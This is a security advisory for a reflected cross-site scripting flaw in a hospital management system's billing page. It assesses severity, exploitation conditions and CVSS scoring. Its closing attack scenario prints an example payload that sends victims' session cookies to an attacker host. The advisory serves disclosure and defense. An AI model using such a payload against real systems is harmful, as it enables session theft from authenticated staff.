Hospital Management System EUVD-2026-35060

Exploitation requires passive user interaction (UI:P per CVSS 4.0 vector) - the attacker cannot trigger script execution autonomously but must induce a target user to visit a URL containing the crafted patientid payload. No authentication is required of the attacker (PR:N), though the practical damage is highest when the victim is an authenticated session holder with access to billing records, as XSS payloads can harvest session cookies or perform authenticated actions on the victim's behalf. The application must be reachable over the network; deployments restricted to internal or air-gapped environments significantly limit attacker access to social engineering or insider-threat scenarios. No special server-side configuration or non-default settings are required - the vulnerability is present in the baseline /billing.php implementation. Exploitation is limited to the reflected context: there is no evidence from available data of a stored XSS variant that would execute without per-victim interaction.

The CVSS 4.0 score of 2.1 places this firmly in the low-severity band. The vector (AV:N/AC:L/AT:N/PR:N/UI:P) confirms network reachability with no privileges required of the attacker, but mandates passive user interaction - a victim must visit a crafted URL. Impact is bounded to low integrity effect on the vulnerable system (VI:L) with zero confidentiality or availability consequences and no scope change to downstream systems. No EPSS score was provided in the intelligence data, preventing quantitative exploitation-probability assessment. The CVE is not in the CISA KEV catalog, indicating no confirmed widespread active exploitation. However, E:P in the CVSS supplemental metrics and the GitHub issue reference confirm a public POC exists, which meaningfully lowers the skill threshold for exploitation. Real-world risk is further dampened by the application's typical deployment context - itsourcecode products are generally small-scale or academic deployments unlikely to be internet-facing - but any healthcare environment where patient billing data integrity or clinician trust matters should treat this as elevated priority relative to the raw score.

An attacker identifies a publicly accessible itsourcecode Hospital Management System instance and crafts a URL to /billing.php embedding a JavaScript payload in the patientid parameter (e.g., ?patientid=<script>fetch('https://attacker.com/log?c='+btoa(document.cookie))</script>). The attacker delivers this link via phishing email or message to a hospital staff member who is authenticated to the system; when the staff member clicks the link, the unencoded payload is reflected and executed in their browser, potentially exposing session tokens or enabling UI redirection. Because a public POC already exists on GitHub, this attack pattern requires minimal attacker skill and can be replicated from the referenced exploit code.